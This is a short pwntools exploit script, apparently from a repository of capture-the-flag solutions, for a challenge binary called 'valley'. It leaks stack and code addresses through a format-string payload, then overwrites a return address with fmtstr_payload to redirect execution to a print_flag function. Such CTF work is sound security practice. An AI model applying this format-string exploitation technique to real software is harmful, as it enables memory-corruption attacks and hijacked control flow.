Files
ctfs/random_challs/valley/a.py
T
2025-03-16 22:32:35 +03:00

29 lines
600 B
Python

#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./valley", checksec=False)
libc = target.libc
r = process()
# funcs
s = lambda a: r.sendlineafter(b": ", a)
ss = lambda a: r.sendline(a)
# leak
s(b"%25$p.%20$p")
r.recvuntil(b": ")
leaks = r.recvlineS().split(".")
print_flag = int(leaks[0], 16) - 0x198
log.info("print_flag: %#x", print_flag)
stack_addr = int(leaks[1], 16)+0x8
log.info("stack_addr: %#x", stack_addr)
some_addr = print_flag + 0x2d97
# write
writes = {stack_addr:print_flag}
fs = fmtstr_payload(6, writes, write_size='short')
ss(fs)
ss(b"exit")
r.interactive()